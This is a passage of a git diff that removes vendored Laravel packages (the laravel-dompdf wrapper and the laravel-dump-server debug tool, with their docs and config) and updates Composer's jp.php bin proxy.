<h1>Page 1</h1>
|
||||
<div class="page-break"></div>
|
||||
<h1>Page 2</h1>
|
||||
|
||||
### License
|
||||
|
||||
This DOMPDF Wrapper for Laravel is open-sourced software licensed under the [MIT license](http://opensource.org/licenses/MIT)
|
||||
45
vendor/barryvdh/laravel-dompdf/src/Facade.php
vendored
45
vendor/barryvdh/laravel-dompdf/src/Facade.php
vendored
@@ -1,45 +0,0 @@
|
||||
<?php
|
||||
namespace Barryvdh\DomPDF;
|
||||
|
||||
use Illuminate\Support\Facades\Facade as IlluminateFacade;
|
||||
|
||||
class Facade extends IlluminateFacade {
|
||||
|
||||
/**
|
||||
* Get the registered name of the component.
|
||||
*
|
||||
* @return string
|
||||
*/
|
||||
protected static function getFacadeAccessor() { return 'dompdf.wrapper'; }
|
||||
|
||||
/**
|
||||
* Resolve a new instance
|
||||
*/
|
||||
public static function __callStatic($method, $args)
|
||||
{
|
||||
$instance = static::$app->make(static::getFacadeAccessor());
|
||||
|
||||
switch (count($args))
|
||||
{
|
||||
case 0:
|
||||
return $instance->$method();
|
||||
|
||||
case 1:
|
||||
return $instance->$method($args[0]);
|
||||
|
||||
case 2:
|
||||
return $instance->$method($args[0], $args[1]);
|
||||
|
||||
case 3:
|
||||
return $instance->$method($args[0], $args[1], $args[2]);
|
||||
|
||||
case 4:
|
||||
return $instance->$method($args[0], $args[1], $args[2], $args[3]);
|
||||
|
||||
default:
|
||||
return call_user_func_array(array($instance, $method), $args);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
248
vendor/barryvdh/laravel-dompdf/src/PDF.php
vendored
248
vendor/barryvdh/laravel-dompdf/src/PDF.php
vendored
@@ -1,248 +0,0 @@
|
||||
<?php
|
||||
namespace Barryvdh\DomPDF;
|
||||
|
||||
use Dompdf\Dompdf;
|
||||
use Dompdf\Options;
|
||||
use Exception;
|
||||
use Illuminate\Filesystem\Filesystem;
|
||||
use Illuminate\Contracts\View\Factory as ViewFactory;
|
||||
use Illuminate\Contracts\Config\Repository as ConfigRepository;
|
||||
use Illuminate\Http\Response;
|
||||
|
||||
/**
|
||||
* A Laravel wrapper for Dompdf
|
||||
*
|
||||
* @package laravel-dompdf
|
||||
* @author Barry vd. Heuvel
|
||||
*/
|
||||
class PDF{
|
||||
|
||||
/** @var Dompdf */
|
||||
protected $dompdf;
|
||||
|
||||
/** @var \Illuminate\Contracts\Config\Repository */
|
||||
protected $config;
|
||||
|
||||
/** @var \Illuminate\Filesystem\Filesystem */
|
||||
protected $files;
|
||||
|
||||
/** @var \Illuminate\Contracts\View\Factory */
|
||||
protected $view;
|
||||
|
||||
protected $rendered = false;
|
||||
protected $showWarnings;
|
||||
protected $public_path;
|
||||
|
||||
/**
|
||||
* @param Dompdf $dompdf
|
||||
* @param \Illuminate\Contracts\Config\Repository $config
|
||||
* @param \Illuminate\Filesystem\Filesystem $files
|
||||
* @param \Illuminate\Contracts\View\Factory $view
|
||||
*/
|
||||
public function __construct(Dompdf $dompdf, ConfigRepository $config, Filesystem $files, ViewFactory $view){
|
||||
$this->dompdf = $dompdf;
|
||||
$this->config = $config;
|
||||
$this->files = $files;
|
||||
$this->view = $view;
|
||||
|
||||
$this->showWarnings = $this->config->get('dompdf.show_warnings', false);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the DomPDF instance
|
||||
*
|
||||
* @return Dompdf
|
||||
*/
|
||||
public function getDomPDF(){
|
||||
return $this->dompdf;
|
||||
}
|
||||
|
||||
/**
|
||||
* Set the paper size (default A4)
|
||||
*
|
||||
* @param string $paper
|
||||
* @param string $orientation
|
||||
* @return $this
|
||||
*/
|
||||
public function setPaper($paper, $orientation = 'portrait'){
|
||||
$this->dompdf->setPaper($paper, $orientation);
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Show or hide warnings
|
||||
*
|
||||
* @param bool $warnings
|
||||
* @return $this
|
||||
*/
|
||||
public function setWarnings($warnings){
|
||||
$this->showWarnings = $warnings;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Load a HTML string
|
||||
*
|
||||
* @param string $string
|
||||
* @param string $encoding Not used yet
|
||||
* @return static
|
||||
*/
|
||||
public function loadHTML($string, $encoding = null){
|
||||
$string = $this->convertEntities($string);
|
||||
$this->dompdf->loadHtml($string, $encoding);
|
||||
$this->rendered = false;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Load a HTML file
|
||||
*
|
||||
* @param string $file
|
||||
* @return static
|
||||
*/
|
||||
public function loadFile($file){
|
||||
$this->dompdf->loadHtmlFile($file);
|
||||
$this->rendered = false;
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Add metadata info
|
||||
*
|
||||
* @param array $info
|
||||
* @return static
|
||||
*/
|
||||
public function addInfo($info){
|
||||
foreach($info as $name=>$value){
|
||||
$this->dompdf->add_info($name, $value);
|
||||
}
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Load a View and convert to HTML
|
||||
*
|
||||
* @param string $view
|
||||
* @param array $data
|
||||
* @param array $mergeData
|
||||
* @param string $encoding Not used yet
|
||||
* @return static
|
||||
*/
|
||||
public function loadView($view, $data = array(), $mergeData = array(), $encoding = null){
|
||||
$html = $this->view->make($view, $data, $mergeData)->render();
|
||||
return $this->loadHTML($html, $encoding);
|
||||
}
|
||||
|
||||
/**
|
||||
* Set/Change an option in DomPdf
|
||||
*
|
||||
* @param array $options
|
||||
* @return static
|
||||
*/
|
||||
public function setOptions(array $options) {
|
||||
$options = new Options($options);
|
||||
$this->dompdf->setOptions($options);
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Output the PDF as a string.
|
||||
*
|
||||
* @return string The rendered PDF as string
|
||||
*/
|
||||
public function output(){
|
||||
if(!$this->rendered){
|
||||
$this->render();
|
||||
}
|
||||
return $this->dompdf->output();
|
||||
}
|
||||
|
||||
/**
|
||||
* Save the PDF to a file
|
||||
*
|
||||
* @param $filename
|
||||
* @return static
|
||||
*/
|
||||
public function save($filename){
|
||||
$this->files->put($filename, $this->output());
|
||||
return $this;
|
||||
}
|
||||
|
||||
/**
|
||||
* Make the PDF downloadable by the user
|
||||
*
|
||||
* @param string $filename
|
||||
* @return \Illuminate\Http\Response
|
||||
*/
|
||||
public function download($filename = 'document.pdf' ){
|
||||
$output = $this->output();
|
||||
return new Response($output, 200, array(
|
||||
'Content-Type' => 'application/pdf',
|
||||
'Content-Disposition' => 'attachment; filename="'.$filename.'"',
|
||||
'Content-Length' => strlen($output),
|
||||
));
|
||||
}
|
||||
|
||||
/**
|
||||
* Return a response with the PDF to show in the browser
|
||||
*
|
||||
* @param string $filename
|
||||
* @return \Illuminate\Http\Response
|
||||
*/
|
||||
public function stream($filename = 'document.pdf' ){
|
||||
$output = $this->output();
|
||||
return new Response($output, 200, array(
|
||||
'Content-Type' => 'application/pdf',
|
||||
'Content-Disposition' => 'inline; filename="'.$filename.'"',
|
||||
));
|
||||
}
|
||||
|
||||
/**
|
||||
* Render the PDF
|
||||
*/
|
||||
protected function render(){
|
||||
if(!$this->dompdf){
|
||||
throw new Exception('DOMPDF not created yet');
|
||||
}
|
||||
|
||||
$this->dompdf->render();
|
||||
|
||||
if ( $this->showWarnings ) {
|
||||
global $_dompdf_warnings;
|
||||
if(!empty($_dompdf_warnings) && count($_dompdf_warnings)){
|
||||
$warnings = '';
|
||||
foreach ($_dompdf_warnings as $msg){
|
||||
$warnings .= $msg . "\n";
|
||||
}
|
||||
// $warnings .= $this->dompdf->get_canvas()->get_cpdf()->messages;
|
||||
if(!empty($warnings)){
|
||||
throw new Exception($warnings);
|
||||
}
|
||||
}
|
||||
}
|
||||
$this->rendered = true;
|
||||
}
|
||||
|
||||
|
||||
public function setEncryption($password) {
|
||||
if (!$this->dompdf) {
|
||||
throw new Exception("DOMPDF not created yet");
|
||||
}
|
||||
$this->render();
|
||||
return $this->dompdf->getCanvas()->get_cpdf()->setEncryption("pass", $password);
|
||||
}
|
||||
|
||||
|
||||
protected function convertEntities($subject){
|
||||
$entities = array(
|
||||
'€' => '€',
|
||||
'£' => '£',
|
||||
);
|
||||
|
||||
foreach($entities as $search => $replace){
|
||||
$subject = str_replace($search, $replace, $subject);
|
||||
}
|
||||
return $subject;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,91 +0,0 @@
|
||||
<?php
|
||||
namespace Barryvdh\DomPDF;
|
||||
|
||||
use Dompdf\Dompdf;
|
||||
use Exception;
|
||||
use Illuminate\Support\Str;
|
||||
use Illuminate\Support\ServiceProvider as IlluminateServiceProvider;
|
||||
|
||||
class ServiceProvider extends IlluminateServiceProvider
|
||||
{
|
||||
|
||||
/**
|
||||
* Indicates if loading of the provider is deferred.
|
||||
*
|
||||
* @var bool
|
||||
*/
|
||||
protected $defer = false;
|
||||
|
||||
/**
|
||||
* Register the service provider.
|
||||
*
|
||||
* @throws \Exception
|
||||
* @return void
|
||||
*/
|
||||
public function register()
|
||||
{
|
||||
$configPath = __DIR__.'/../config/dompdf.php';
|
||||
$this->mergeConfigFrom($configPath, 'dompdf');
|
||||
|
||||
$this->app->bind('dompdf.options', function(){
|
||||
$defines = $this->app['config']->get('dompdf.defines');
|
||||
|
||||
if ($defines) {
|
||||
$options = [];
|
||||
foreach ($defines as $key => $value) {
|
||||
$key = strtolower(str_replace('DOMPDF_', '', $key));
|
||||
$options[$key] = $value;
|
||||
}
|
||||
} else {
|
||||
$options = $this->app['config']->get('dompdf.options');
|
||||
}
|
||||
|
||||
return $options;
|
||||
|
||||
});
|
||||
|
||||
$this->app->bind('dompdf', function() {
|
||||
|
||||
$options = $this->app->make('dompdf.options');
|
||||
$dompdf = new Dompdf($options);
|
||||
$dompdf->setBasePath(realpath(base_path('public')));
|
||||
|
||||
return $dompdf;
|
||||
});
|
||||
$this->app->alias('dompdf', Dompdf::class);
|
||||
|
||||
$this->app->bind('dompdf.wrapper', function ($app) {
|
||||
return new PDF($app['dompdf'], $app['config'], $app['files'], $app['view']);
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if package is running under Lumen app
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
protected function isLumen()
|
||||
{
|
||||
return Str::contains($this->app->version(), 'Lumen') === true;
|
||||
}
|
||||
|
||||
public function boot()
|
||||
{
|
||||
if (! $this->isLumen()) {
|
||||
$configPath = __DIR__.'/../config/dompdf.php';
|
||||
$this->publishes([$configPath => config_path('dompdf.php')], 'config');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the services provided by the provider.
|
||||
*
|
||||
* @return array
|
||||
*/
|
||||
public function provides()
|
||||
{
|
||||
return array('dompdf', 'dompdf.options', 'dompdf.wrapper');
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,11 +0,0 @@
|
||||
# Changelog
|
||||
|
||||
All notable changes to `laravel-dump-server` will be documented in this file
|
||||
|
||||
## Unreleased
|
||||
|
||||
- laravel 9 support
|
||||
|
||||
## 1.0.0 - 2018-07-09
|
||||
|
||||
- initial release
|
||||
@@ -1,55 +0,0 @@
|
||||
# Contributing
|
||||
|
||||
Contributions are **welcome** and will be fully **credited**.
|
||||
|
||||
Please read and understand the contribution guide before creating an issue or pull request.
|
||||
|
||||
## Etiquette
|
||||
|
||||
This project is open source, and as such, the maintainers give their free time to build and maintain the source code
|
||||
held within. They make the code freely available in the hope that it will be of use to other developers. It would be
|
||||
extremely unfair for them to suffer abuse or anger for their hard work.
|
||||
|
||||
Please be considerate towards maintainers when raising issues or presenting pull requests. Let's show the
|
||||
world that developers are civilized and selfless people.
|
||||
|
||||
It's the duty of the maintainer to ensure that all submissions to the project are of sufficient
|
||||
quality to benefit the project. Many developers have different skillsets, strengths, and weaknesses. Respect the maintainer's decision, and do not be upset or abusive if your submission is not used.
|
||||
|
||||
## Viability
|
||||
|
||||
When requesting or submitting new features, first consider whether it might be useful to others. Open
|
||||
source projects are used by many developers, who may have entirely different needs to your own. Think about
|
||||
whether or not your feature is likely to be used by other users of the project.
|
||||
|
||||
## Procedure
|
||||
|
||||
Before filing an issue:
|
||||
|
||||
- Attempt to replicate the problem, to ensure that it wasn't a coincidental incident.
|
||||
- Check to make sure your feature suggestion isn't already present within the project.
|
||||
- Check the pull requests tab to ensure that the bug doesn't have a fix in progress.
|
||||
- Check the pull requests tab to ensure that the feature isn't already in progress.
|
||||
|
||||
Before submitting a pull request:
|
||||
|
||||
- Check the codebase to ensure that your feature doesn't already exist.
|
||||
- Check the pull requests to ensure that another person hasn't already submitted the feature or fix.
|
||||
|
||||
## Requirements
|
||||
|
||||
If the project maintainer has any additional requirements, you will find them listed here.
|
||||
|
||||
- **[PSR-2 Coding Standard](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-2-coding-style-guide.md)** - The easiest way to apply the conventions is to install [PHP Code Sniffer](https://pear.php.net/package/PHP_CodeSniffer).
|
||||
|
||||
- **Add tests!** - Your patch won't be accepted if it doesn't have tests.
|
||||
|
||||
- **Document any change in behaviour** - Make sure the `README.md` and any other relevant documentation are kept up-to-date.
|
||||
|
||||
- **Consider our release cycle** - We try to follow [SemVer v2.0.0](https://semver.org/). Randomly breaking public APIs is not an option.
|
||||
|
||||
- **One pull request per feature** - If you want to do more than one thing, send multiple pull requests.
|
||||
|
||||
- **Send coherent history** - Make sure each individual commit in your pull request is meaningful. If you had to make multiple intermediate commits while developing, please [squash them](https://www.git-scm.com/book/en/v2/Git-Tools-Rewriting-History#Changing-Multiple-Commit-Messages) before submitting.
|
||||
|
||||
**Happy coding**!
|
||||
21
vendor/beyondcode/laravel-dump-server/LICENSE.md
vendored
21
vendor/beyondcode/laravel-dump-server/LICENSE.md
vendored
@@ -1,21 +0,0 @@
|
||||
The MIT License (MIT)
|
||||
|
||||
Copyright (c) Beyond Code GmbH <hello@beyondco.de>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
43
vendor/beyondcode/laravel-dump-server/README.md
vendored
43
vendor/beyondcode/laravel-dump-server/README.md
vendored
@@ -1,43 +0,0 @@
|
||||
# Laravel Dump Server
|
||||
|
||||
[](https://packagist.org/packages/beyondcode/laravel-dump-server)
|
||||
[](https://scrutinizer-ci.com/g/beyondcode/laravel-dump-server)
|
||||
[](https://packagist.org/packages/beyondcode/laravel-dump-server)
|
||||
|
||||
Bringing the [Symfony Var-Dump Server](https://symfony.com/doc/current/components/var_dumper.html#the-dump-server) to Laravel.
|
||||
|
||||
This package will give you a dump server, that collects all your `dump` call outputs, so that it does not interfere with HTTP / API responses.
|
||||
|
||||
## Installation
|
||||
|
||||
You can install the package via composer:
|
||||
|
||||
```bash
|
||||
composer require --dev beyondcode/laravel-dump-server
|
||||
```
|
||||
|
||||
## Documentation
|
||||
|
||||
You can find the documentation on the [Beyond Code website](https://beyondco.de/docs/laravel-dump-server/installation).
|
||||
|
||||
### Changelog
|
||||
|
||||
Please see [CHANGELOG](CHANGELOG.md) for more information on what has changed recently.
|
||||
|
||||
## Contributing
|
||||
|
||||
Please see [CONTRIBUTING](CONTRIBUTING.md) for details.
|
||||
|
||||
### Security
|
||||
|
||||
If you discover any security related issues, please email marcel@beyondco.de instead of using the issue tracker.
|
||||
|
||||
## Credits
|
||||
|
||||
- [Marcel Pociot](https://github.com/mpociot)
|
||||
- [All Contributors](../../contributors)
|
||||
|
||||
## License
|
||||
|
||||
The MIT License (MIT). Please see [License File](LICENSE.md) for more information.
|
||||
|
||||
@@ -1,56 +0,0 @@
|
||||
{
|
||||
"name": "beyondcode/laravel-dump-server",
|
||||
"description": "Symfony Var-Dump Server for Laravel",
|
||||
"keywords": [
|
||||
"beyondcode",
|
||||
"laravel-dump-server"
|
||||
],
|
||||
"homepage": "https://github.com/beyondcode/laravel-dump-server",
|
||||
"license": "MIT",
|
||||
"authors": [
|
||||
{
|
||||
"name": "Marcel Pociot",
|
||||
"email": "marcel@beyondco.de",
|
||||
"homepage": "https://beyondco.de",
|
||||
"role": "Developer"
|
||||
}
|
||||
],
|
||||
"require": {
|
||||
"php": ">=7.2.5",
|
||||
"illuminate/console": "5.6.*|5.7.*|5.8.*|^6.0|^7.0|^8.0|^9.0|^10.0",
|
||||
"illuminate/http": "5.6.*|5.7.*|5.8.*|^6.0|^7.0|^8.0|^9.0|^10.0",
|
||||
"illuminate/support": "5.6.*|5.7.*|5.8.*|^6.0|^7.0|^8.0|^9.0|^10.0",
|
||||
"symfony/var-dumper": "^5.0|^6.0"
|
||||
},
|
||||
"require-dev": {
|
||||
"larapack/dd": "^1.0",
|
||||
"phpunit/phpunit": "^7.0|^9.3"
|
||||
},
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"BeyondCode\\DumpServer\\": "src"
|
||||
},
|
||||
"files": [
|
||||
"helpers.php"
|
||||
]
|
||||
},
|
||||
"autoload-dev": {
|
||||
"psr-4": {
|
||||
"BeyondCode\\DumpServer\\Tests\\": "tests"
|
||||
}
|
||||
},
|
||||
"scripts": {
|
||||
"test": "vendor/bin/phpunit",
|
||||
"test-coverage": "vendor/bin/phpunit --coverage-html coverage"
|
||||
},
|
||||
"config": {
|
||||
"sort-packages": true
|
||||
},
|
||||
"extra": {
|
||||
"laravel": {
|
||||
"providers": [
|
||||
"BeyondCode\\DumpServer\\DumpServerServiceProvider"
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,8 +0,0 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
/*
|
||||
* The host to use when listening for debug server connections.
|
||||
*/
|
||||
'host' => env('DUMP_SERVER_HOST', 'tcp://127.0.0.1:9912'),
|
||||
];
|
||||
@@ -1,4 +0,0 @@
|
||||
---
|
||||
packageName: Laravel Dump Server
|
||||
githubUrl: https://github.com/beyondcode/laravel-dump-server
|
||||
---
|
||||
@@ -1,30 +0,0 @@
|
||||
---
|
||||
title: Installation
|
||||
order: 1
|
||||
---
|
||||
# Laravel Dump Server
|
||||
|
||||
Bringing the Symfony Var-Dump Server to Laravel.
|
||||
|
||||
This package will give you a dump server, that collects all your dump call outputs, so that it does not interfere with HTTP / API responses.
|
||||
|
||||

|
||||
|
||||
# Installation
|
||||
|
||||
You can install the package via composer:
|
||||
|
||||
```bash
|
||||
composer require --dev beyondcode/laravel-dump-server
|
||||
```
|
||||
|
||||
The package will register itself automatically.
|
||||
|
||||
Optionally you can publish the package configuration using:
|
||||
|
||||
```bash
|
||||
php artisan vendor:publish --provider="BeyondCode\DumpServer\DumpServerServiceProvider"
|
||||
```
|
||||
|
||||
This will publish a file called `debug-server.php` in your `config` folder.
|
||||
In the config file, you can specify the dump server host that you want to listen on, in case you want to change the default value.
|
||||
@@ -1,22 +0,0 @@
|
||||
---
|
||||
title: Usage
|
||||
order: 2
|
||||
---
|
||||
|
||||
# Usage
|
||||
|
||||
Start the dump server by calling the artisan command:
|
||||
|
||||
```bash
|
||||
php artisan dump-server
|
||||
```
|
||||
|
||||
You can set the output format to HTML using the `--format` option:
|
||||
|
||||
```bash
|
||||
php artisan dump-server --format=html > dump.html
|
||||
```
|
||||
|
||||
Now you can put regular `dump` statements in your code. Instead of dumping the output directly in the HTTP response, the dumped data will be shown inside of your terminal / the running artisan command.
|
||||
|
||||
This is very useful, when you want to dump data from API requests, without having to deal with HTTP errors.
|
||||
@@ -1,16 +0,0 @@
|
||||
<?php
|
||||
|
||||
if (! function_exists('config_path')) {
|
||||
/**
|
||||
* Get the configuration path.
|
||||
*
|
||||
* This is a polyfill for the missing shorthand function in lumen.
|
||||
*
|
||||
* @param string $path
|
||||
* @return string
|
||||
*/
|
||||
function config_path($path = '')
|
||||
{
|
||||
return app()->basePath('config').($path ? DIRECTORY_SEPARATOR.$path : $path);
|
||||
}
|
||||
}
|
||||
@@ -1,83 +0,0 @@
|
||||
<?php
|
||||
|
||||
namespace BeyondCode\DumpServer;
|
||||
|
||||
use Illuminate\Console\Command;
|
||||
use InvalidArgumentException;
|
||||
use Symfony\Component\VarDumper\Cloner\Data;
|
||||
use Symfony\Component\Console\Style\SymfonyStyle;
|
||||
use Symfony\Component\VarDumper\Dumper\CliDumper;
|
||||
use Symfony\Component\VarDumper\Dumper\HtmlDumper;
|
||||
use Symfony\Component\VarDumper\Server\DumpServer;
|
||||
use Symfony\Component\VarDumper\Command\Descriptor\CliDescriptor;
|
||||
use Symfony\Component\VarDumper\Command\Descriptor\HtmlDescriptor;
|
||||
|
||||
class DumpServerCommand extends Command
|
||||
{
|
||||
/**
|
||||
* The console command name.
|
||||
*
|
||||
* @var string
|
||||
*/
|
||||
protected $signature = 'dump-server {--format=cli : The output format (cli,html).}';
|
||||
|
||||
/**
|
||||
* The console command description.
|
||||
*
|
||||
* @var string
|
||||
*/
|
||||
protected $description = 'Start the dump server to collect dump information.';
|
||||
|
||||
/**
|
||||
* The Dump server.
|
||||
*
|
||||
* @var \Symfony\Component\VarDumper\Server\DumpServer
|
||||
*/
|
||||
protected $server;
|
||||
|
||||
/**
|
||||
* DumpServerCommand constructor.
|
||||
*
|
||||
* @param \Symfony\Component\VarDumper\Server\DumpServer $server
|
||||
* @return void
|
||||
*/
|
||||
public function __construct(DumpServer $server)
|
||||
{
|
||||
$this->server = $server;
|
||||
|
||||
parent::__construct();
|
||||
}
|
||||
|
||||
/**
|
||||
* Handle the command.
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function handle()
|
||||
{
|
||||
switch ($format = $this->option('format')) {
|
||||
case 'cli':
|
||||
$descriptor = new CliDescriptor(new CliDumper);
|
||||
break;
|
||||
case 'html':
|
||||
$descriptor = new HtmlDescriptor(new HtmlDumper);
|
||||
break;
|
||||
default:
|
||||
throw new InvalidArgumentException(sprintf('Unsupported format "%s".', $format));
|
||||
}
|
||||
|
||||
$io = new SymfonyStyle($this->input, $this->output);
|
||||
|
||||
$errorIo = $io->getErrorStyle();
|
||||
$errorIo->title('Laravel Var Dump Server');
|
||||
|
||||
$this->server->start();
|
||||
|
||||
$errorIo->success(sprintf('Server listening on %s', $this->server->getHost()));
|
||||
$errorIo->comment('Quit the server with CONTROL-C.');
|
||||
|
||||
$this->server->listen(function (Data $data, array $context, int $clientId) use ($descriptor, $io) {
|
||||
$descriptor->describe($io, $data, $context, $clientId);
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -1,56 +0,0 @@
|
||||
<?php
|
||||
|
||||
namespace BeyondCode\DumpServer;
|
||||
|
||||
use Illuminate\Support\ServiceProvider;
|
||||
use Symfony\Component\VarDumper\VarDumper;
|
||||
use Symfony\Component\VarDumper\Server\Connection;
|
||||
use Symfony\Component\VarDumper\Server\DumpServer;
|
||||
use Symfony\Component\VarDumper\Dumper\ContextProvider\SourceContextProvider;
|
||||
|
||||
class DumpServerServiceProvider extends ServiceProvider
|
||||
{
|
||||
/**
|
||||
* Bootstrap the application services.
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function boot()
|
||||
{
|
||||
if ($this->app->runningInConsole()) {
|
||||
|
||||
$this->publishes([
|
||||
__DIR__.'/../config/config.php' => config_path('debug-server.php'),
|
||||
], 'config');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Register the application services.
|
||||
*
|
||||
* @return void
|
||||
*/
|
||||
public function register()
|
||||
{
|
||||
$this->mergeConfigFrom(__DIR__.'/../config/config.php', 'debug-server');
|
||||
|
||||
$this->app->bind('command.dumpserver', DumpServerCommand::class);
|
||||
|
||||
$this->commands([
|
||||
'command.dumpserver',
|
||||
]);
|
||||
|
||||
$host = $this->app['config']->get('debug-server.host');
|
||||
|
||||
$this->app->when(DumpServer::class)->needs('$host')->give($host);
|
||||
|
||||
$connection = new Connection($host, [
|
||||
'request' => new RequestContextProvider($this->app['request']),
|
||||
'source' => new SourceContextProvider('utf-8', base_path()),
|
||||
]);
|
||||
|
||||
VarDumper::setHandler(function ($var) use ($connection) {
|
||||
$this->app->makeWith(Dumper::class, ['connection' => $connection])->dump($var);
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -1,57 +0,0 @@
|
||||
<?php
|
||||
|
||||
namespace BeyondCode\DumpServer;
|
||||
|
||||
use Symfony\Component\VarDumper\Cloner\VarCloner;
|
||||
use Symfony\Component\VarDumper\Dumper\CliDumper;
|
||||
use Symfony\Component\VarDumper\Dumper\HtmlDumper;
|
||||
use Symfony\Component\VarDumper\Server\Connection;
|
||||
|
||||
class Dumper
|
||||
{
|
||||
/**
|
||||
* The connection.
|
||||
*
|
||||
* @var \Symfony\Component\VarDumper\Server\Connection|null
|
||||
*/
|
||||
private $connection;
|
||||
|
||||
/**
|
||||
* Dumper constructor.
|
||||
*
|
||||
* @param \Symfony\Component\VarDumper\Server\Connection|null $connection
|
||||
* @return void
|
||||
*/
|
||||
public function __construct(Connection $connection = null)
|
||||
{
|
||||
$this->connection = $connection;
|
||||
}
|
||||
|
||||
/**
|
||||
* Dump a value with elegance.
|
||||
*
|
||||
* @param mixed $value
|
||||
* @return void
|
||||
*/
|
||||
public function dump($value)
|
||||
{
|
||||
if (class_exists(CliDumper::class)) {
|
||||
$data = $this->createVarCloner()->cloneVar($value);
|
||||
|
||||
if ($this->connection === null || $this->connection->write($data) === false) {
|
||||
$dumper = in_array(PHP_SAPI, ['cli', 'phpdbg']) ? new CliDumper : new HtmlDumper;
|
||||
$dumper->dump($data);
|
||||
}
|
||||
} else {
|
||||
var_dump($value);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return VarCloner
|
||||
*/
|
||||
protected function createVarCloner(): VarCloner
|
||||
{
|
||||
return new VarCloner();
|
||||
}
|
||||
}
|
||||
@@ -1,66 +0,0 @@
|
||||
<?php
|
||||
|
||||
namespace BeyondCode\DumpServer;
|
||||
|
||||
use Illuminate\Http\Request;
|
||||
use Symfony\Component\VarDumper\Cloner\VarCloner;
|
||||
use Symfony\Component\VarDumper\Dumper\ContextProvider\ContextProviderInterface;
|
||||
|
||||
class RequestContextProvider implements ContextProviderInterface
|
||||
{
|
||||
/**
|
||||
* The current request.
|
||||
*
|
||||
* @var \Illuminate\Http\Request|null
|
||||
*/
|
||||
private $currentRequest;
|
||||
|
||||
/**
|
||||
* The variable cloner.
|
||||
*
|
||||
* @var \Symfony\Component\VarDumper\Cloner\VarCloner
|
||||
*/
|
||||
private $cloner;
|
||||
|
||||
/**
|
||||
* RequestContextProvider constructor.
|
||||
*
|
||||
* @param \Illuminate\Http\Request|null $currentRequest
|
||||
* @return void
|
||||
*/
|
||||
public function __construct(Request $currentRequest = null)
|
||||
{
|
||||
$this->currentRequest = $currentRequest;
|
||||
$this->cloner = new VarCloner;
|
||||
$this->cloner->setMaxItems(0);
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the context.
|
||||
*
|
||||
* @return array|null
|
||||
*/
|
||||
public function getContext(): ?array
|
||||
{
|
||||
if ($this->currentRequest === null) {
|
||||
return null;
|
||||
}
|
||||
|
||||
$controller = null;
|
||||
|
||||
if ($route = $this->currentRequest->route()) {
|
||||
$controller = $route->controller;
|
||||
|
||||
if (! $controller && ! is_string($route->action['uses'])) {
|
||||
$controller = $route->action['uses'];
|
||||
}
|
||||
}
|
||||
|
||||
return [
|
||||
'uri' => $this->currentRequest->getUri(),
|
||||
'method' => $this->currentRequest->getMethod(),
|
||||
'controller' => $controller ? $this->cloner->cloneVar(class_basename($controller)) : $this->cloner->cloneVar(null),
|
||||
'identifier' => spl_object_hash($this->currentRequest),
|
||||
];
|
||||
}
|
||||
}
|
||||
10
vendor/bin/jp.php
vendored
10
vendor/bin/jp.php
vendored
@@ -108,10 +108,12 @@ if (PHP_VERSION_ID < 80000) {
|
||||
}
|
||||
}
|
||||
|
||||
if (function_exists('stream_wrapper_register') && stream_wrapper_register('phpvfscomposer', 'Composer\BinProxyWrapper')) {
|
||||
include("phpvfscomposer://" . __DIR__ . '/..'.'/mtdowling/jmespath.php/bin/jp.php');
|
||||
exit(0);
|
||||
if (
|
||||
(function_exists('stream_get_wrappers') && in_array('phpvfscomposer', stream_get_wrappers(), true))
|
||||
|| (function_exists('stream_wrapper_register') && stream_wrapper_register('phpvfscomposer', 'Composer\BinProxyWrapper'))
|
||||
) {
|
||||
return include("phpvfscomposer://" . __DIR__ . '/..'.'/mtdowling/jmespath.php/bin/jp.php');
|
||||
}
|
||||
}
|
||||
|
||||
include __DIR__ . '/..'.'/mtdowling/jmespath.php/bin/jp.php';
|
||||
return include __DIR__ . '/..'.'/mtdowling/jmespath.php/bin/jp.php';
|
||||
|
||||
17
vendor/brick/math/SECURITY.md
vendored
17
vendor/brick/math/SECURITY.md
vendored
@@ -1,17 +0,0 @@
|
||||
# Security Policy
|
||||
|
||||
